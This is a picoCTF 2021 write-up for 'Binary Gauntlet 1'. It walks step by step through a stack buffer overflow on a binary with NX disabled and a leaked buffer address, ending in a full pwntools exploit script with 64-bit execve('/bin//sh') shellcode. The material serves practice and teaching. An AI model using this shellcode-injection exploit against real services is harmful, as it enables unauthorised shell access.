Binary Gauntlet 1 picoCTF 2021 Solution

Published: April 2, 2026

Description

Level 2 of Binary Gauntlet. The program has no stack canary, no PIE, and - crucially - NX is disabled, so the stack is executable. It also prints the address of the destination buffer before reading input, handing you the exact address you need to redirect execution to shellcode.

Download the binary and check its security properties.

bash
wget https://mercury.picoctf.net/static/.../vuln
bash
chmod +x vuln
bash
checksec vuln

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Confirm mitigations with checksec
    Observation
    I noticed the challenge description mentioned NX disabled and no canary, which suggested I should verify those claims with checksec before choosing an exploit strategy, since the presence or absence of each mitigation changes the approach entirely.
    Run checksec on the binary. The output shows: Partial RELRO, no canary, NX disabled, no PIE. The absence of NX is the key finding: the stack is executable, so you can write raw machine code into the buffer and then redirect the return address to run it.
    bash
    checksec vuln
    What didn't work first

    Tried: Running 'file vuln' instead of checksec to check binary protections

    The file command reports architecture and ELF type but says nothing about NX, stack canaries, RELRO, or PIE. Checksec reads the ELF headers and GNU_STACK segment flags to report all four mitigations in one line - file output alone cannot tell you whether shellcode injection is viable.

    Tried: Assuming NX is enabled by default and jumping straight to a ROP chain approach

    Many modern binaries do have NX enabled, so ROP is a common first instinct. Here checksec explicitly shows NX disabled, meaning the stack is executable and shellcode injection is simpler and more direct than constructing a ROP chain. Skipping checksec leads to unnecessary work building gadget chains that are not needed.

    Learn more

    NX (No-eXecute) marks the stack as non-executable so the CPU will refuse to run data stored there. When NX is disabled, every byte you write into a stack buffer can be executed as machine code - shellcode injection is the natural exploit path.

    Why no canary matters. A stack canary is a random value placed between the local variables and the saved return address. The function checks that value before returning; a corrupted canary triggers an abort. With no canary, you can overwrite the return address freely as long as you know the correct offset.

    Why no PIE matters. Position-Independent Executable randomizes the load address of the binary itself each run. With PIE off, binary addresses are fixed - but here you do not even need binary gadgets because the program gives you the stack address directly.

  2. Step 2
    Note the leaked buffer address
    Observation
    I noticed the binary prints a hex address via printf("%p") before reading input, which indicated the challenge was handing us the runtime stack buffer address and that we should capture it to aim our shellcode precisely, since ASLR would otherwise make guessing it impossible.
    When you run the binary you see a hex address printed via printf("%p\n", dest). That is the runtime address of the destination buffer where your input will be copied. Because ASLR randomizes the stack each run, you could not guess this address - but the program gives it to you. Save it; you will write it into the return address slot.
    bash
    ./vuln
    bash
    # observe the hex address printed before the prompt
    What didn't work first

    Tried: Hardcoding a stack address observed during a local test run and reusing it for the remote connection

    ASLR randomizes the stack base each execution, so a stack address recorded from one run is invalid on the next. The program prints the current buffer address at runtime precisely because it changes. The exploit script must parse the printed address from each fresh connection and use that live value.

    Tried: Treating the printed value as the return address itself rather than the destination buffer address

    The program leaks the address of the input buffer - the memory location where your shellcode will be written. The return address is a different slot further up the stack at offset 120 from the buffer. You overwrite the return address slot with the leaked buffer address, not the other way around.

    Learn more

    Why the program leaks the address. This is an intentional scaffolding hint built into the challenge. In a real exploit scenario you might need an information-leak vulnerability to defeat ASLR; here the challenge author shortcircuits that step so you can focus on the shellcode injection itself.

    ASLR vs. stack addresses. Even with the binary loaded at a fixed address (no PIE), Linux ASLR randomizes the stack base each execution. So the buffer address changes every run. Parsing the printed address in your exploit script and using it directly is the correct approach.

  3. Step 3
    Find the offset to the return address
    Observation
    I noticed the binary uses strcpy to copy up to 999 bytes into a small buffer with no bounds check, which suggested a classic stack buffer overflow; I needed to determine the exact byte offset to the saved return address before crafting the payload.
    Use pwntools cyclic to generate a De Bruijn pattern, send it to the binary, and let it crash. The value in RIP (or the fault address) identifies exactly where in the pattern the return address sits. The offset for this binary is 120 bytes.
    python
    python3 -c "from pwn import *; print(cyclic(200))" | ./vuln
    bash
    # note the crash address, then:
    python
    python3 -c "from pwn import *; print(cyclic_find(0x<CRASH_VALUE>))"
    What didn't work first

    Tried: Passing the RIP value from dmesg or /var/log/syslog directly to cyclic_find without byte-swapping

    On x86-64 the crash address displayed in dmesg or by the kernel is in little-endian order, but cyclic_find expects the raw 8-byte value as a Python integer. If you copy the hex string and pass it without converting it to an int (e.g. omitting int(..., 16)), cyclic_find receives a string and raises a TypeError or returns the wrong offset.

    Tried: Using a pattern shorter than the buffer and assuming the first crash gives the exact offset

    If the pattern is shorter than the distance to the return address the program crashes from a read or write fault before reaching RIP, not from a corrupted return address. You need a pattern long enough to reach past offset 120, so generating at least 200 bytes ensures the return address slot is actually overwritten with a unique cyclic subsequence.

    Learn more

    De Bruijn pattern. A cyclic (De Bruijn) sequence has the property that every subsequence of length n appears exactly once. Pwntools generates one with cyclic(n) and can reverse-map any 4- or 8-byte window back to its offset with cyclic_find(). This eliminates manual binary-search guessing.

    The overflow. The program copies up to 999 characters into a ~103-byte buffer via strcpy, so any input longer than the buffer eventually reaches and overwrites the saved return address at offset 120.

  4. Step 4
    Build and send the shellcode exploit
    Observation
    I noticed that with NX disabled, a known offset of 120, and the leaked buffer address in hand, all preconditions for a shellcode injection exploit were satisfied, which suggested writing a pwntools script that places 64-bit execve shellcode at the buffer start, pads to the offset, and overwrites the return address with the leaked address.
    Craft the payload: shellcode first (placed at the start of the buffer), then padding bytes to reach offset 120, then the leaked buffer address as the new return address. When the function returns it will jump directly into your shellcode and execute /bin/sh.
    python
    python3 - <<'EOF'
    from pwn import *
    
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    # 64-bit execve("/bin//sh") shellcode
    shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
    
    # Parse the buffer address printed by the program
    line = p.recvline()
    buf_addr = int(line.strip(), 16)
    print(f"Buffer at: {hex(buf_addr)}")
    
    offset = 120
    
    payload  = shellcode
    payload += b'A' * (offset - len(shellcode))  # pad to return address
    payload += p64(buf_addr)                      # overwrite return address
    
    p.sendline(payload)
    p.interactive()
    EOF

    Expected output

    picoCTF{75043449...}
    What didn't work first

    Tried: Placing the shellcode after the padding instead of at the start of the buffer

    If you write padding first and shellcode after the return address, the shellcode lands beyond the saved return address and may be clobbered by the return address write itself or lie in a region the CPU treats differently. The return address must point to the start of the buffer, so shellcode must begin at byte zero of the payload for the jump to land correctly.

    Tried: Using a 32-bit execve shellcode on this 64-bit binary

    32-bit shellcode uses int 0x80 and 32-bit register conventions (eax, ebx, ecx, edx) to invoke execve. On a 64-bit kernel running a 64-bit ELF, int 0x80 invokes the 32-bit syscall table with different syscall numbers and argument registers. The execve syscall number differs between the two ABIs, so 32-bit shellcode either calls the wrong syscall or passes arguments in the wrong registers, producing SIGSEGV or ENOSYS instead of a shell.

    Learn more

    Payload layout in memory (each row is part of the stack buffer):

    buf_addr -> | shellcode bytes (24)     |  <- CPU will execute this
                | 'A' * 96 (padding)        |
                | buf_addr (8 bytes)        |  <- overwrites saved return address
                |                           |
      vuln() ret: jumps to buf_addr, runs shellcode -> /bin/sh

    Why shellcode works here. Because NX is disabled, the CPU treats the bytes in the stack buffer as executable code. The 24-byte shellcode calls execve("/bin//sh", NULL, NULL) via syscall 59 (0x3b), replacing the current process image with a shell.

    Why ret2libc is not needed here. ret2libc and ROP chains exist to bypass NX by reusing existing code. Since NX is off, injecting your own shellcode is simpler and does not require finding gadgets or leaking libc addresses. Binary Gauntlet 3 introduces NX and requires ret2libc.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{75043449...}

NX is disabled on this binary, so shellcode injected into the stack buffer executes directly. The program leaks the buffer address, making ASLR irrelevant. Pad 120 bytes, then overwrite the return address with the leaked address.

Key takeaway

Shellcode injection is possible whenever a program writes attacker-controlled bytes into memory that the CPU is permitted to execute, a property controlled by the NX (No-eXecute) bit enforced through the OS page table. When a program also leaks its own memory addresses, the ASLR randomization that would otherwise make injection impractical is neutralized. Modern mitigations stack NX, ASLR, stack canaries, and PIE together precisely because each one alone can be bypassed with the right information leak.

Related reading

Want more picoCTF 2021 writeups?

Tools used in this challenge

What to try next